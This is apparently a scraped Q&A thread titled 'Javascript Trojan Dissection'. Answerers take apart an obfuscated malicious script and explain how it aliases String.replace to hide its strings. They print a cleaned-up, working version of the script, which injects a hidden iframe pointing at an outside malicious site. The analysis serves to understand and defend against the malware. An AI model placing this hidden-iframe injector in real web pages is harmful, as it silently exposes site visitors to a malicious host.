ansaurus

Question

Answer 1

+4 A:

It adds an invisible iFrame to the following URL to your website:

<iframe style="visibility: hidden;" src="http://fancycake.net/.ph/1/"&gt;&lt;/iframe&gt;

The website fancycake is marked as attacked and malicious under Firefox

Erik 2010-07-20 08:13:51

How did you find out?

Aaron Digulla 2010-07-20 08:21:57

by running it in a JavaScript Debugger and watching what was happening. After this, I surfed for the iframes URL and saw the Firefox warning :)

Erik 2010-07-20 08:23:49

Answer 2

+1 A:

Run it in a JavaScript debugger; eventually, the code will decompile itself and try to start. I suggest to use the latest version of FireFox maybe on a Linux box to be on the safe side.

Aaron Digulla 2010-07-20 08:21:22

Answer 3

+7 A:

It embeds http://fancycake.xxx/something, and this is the line where you can see it:

return 'h+tbtJpx:J/+/JfxaxnJc+yJc+abkJeb.xnJeMtM/x.xpxh+/b1M/+'.gT(/[\+JbMx]/g, '');

You see how every odd character, when plucked from that string, forms the URL. I didn't run this, so I'm not sure under what conditions it does this, but you can see that String.replace has been renamed to String.gT and is being passed a regex against the characters which make the string obfuscated. If you apply that same method, plucking odd characters, you can see that there is a hidden iframe, some javascript event handlers, setAttribute, etc:

var z = 'sNeatoA%totor%i%b%u%toeN'.gT(/[Na%ox]/g, '');
var o = 'vKiKsAi&bGiKlAiKtHyH'.gT(/[HGK&A]/g, '');
var e = 'atp9p9eWn9d:C9htitl5d:'.gT(/[\:t59W]/g, '');

This is how String.replace is aliased:

var d = 'replace';

...
String.prototype.gT = function (l, v) {
    return this[d](l, v)
};

Within the context of that function, this is the string on which gT is being called and d is the string replace. On a string's prototype, this['replace'] returns the replace() method, which is then called with the two arguments to gT. The result is then returned.

Update

I transformed the script like so:

Replaced all string.gT() calls with their plain forms.
Removed any variables that aren't referenced.
Gave functions some common-sense names.

This is the result, it should be pretty clear how it works now:

function FancyCake() {};
FancyCake.prototype = {
    embed: function () {
        var d = 'replace';
        var s = document;
        var b = window;
        var sV = 'setTimeout';
        var f = "<html ><head ></head><body ></body></html>";
        try {
            zI = '';
            var bF = new Array();
            var y = 'body';
            var r = 'style';
            var bQ = 'iframe';
            var t = 'write';
            var n = 'createElement';
            var k = 'src';
            var z = 'setAttribute';
            var dH = 'hidden';
            var o = 'visibility';
            var e = 'appendChild';
            var c = this.getUrl();
            var u = document[n](bQ);
            u[r][o] = dH;
            u[z](k, c);
            s[y][e](u);
        } catch (e) {
            console.error(e);
            s.write(f);
            var cake = this;
            b[sV](function () {
                cake.embed();
            }, 326);
        }
    },
    getUrl: function () {
        return "http://fancycake.net/.ph/1/";
    }
};

var cake = new FancyCake();
cake.embed();

Jesse Dhillon 2010-07-20 08:33:10

+ for explaination

Sky Sanders 2010-07-20 09:20:29

It didn't occur to me that what I was looking at was regex amongst all that mess. What I dont get now is, ok I get the basic idea of the prototype keyword but how does return this[d](l, v) result in an override of the regex pattern matching? or else what are they trying to achieve in that line of code?PS: Thanks for the explanation because obviously I stuck it into a debugger but have still struggled to understand it.

Maxim Gershkovich 2010-07-20 13:15:31

I've updated the answer to include an explanation about replace.

Jesse Dhillon 2010-07-20 17:44:17

Thank you so much the function makes perfect sense now...

Maxim Gershkovich 2010-07-21 01:10:26

ansaurus

tags:

views:

answers:

Javascript Trojan Dissection

related questions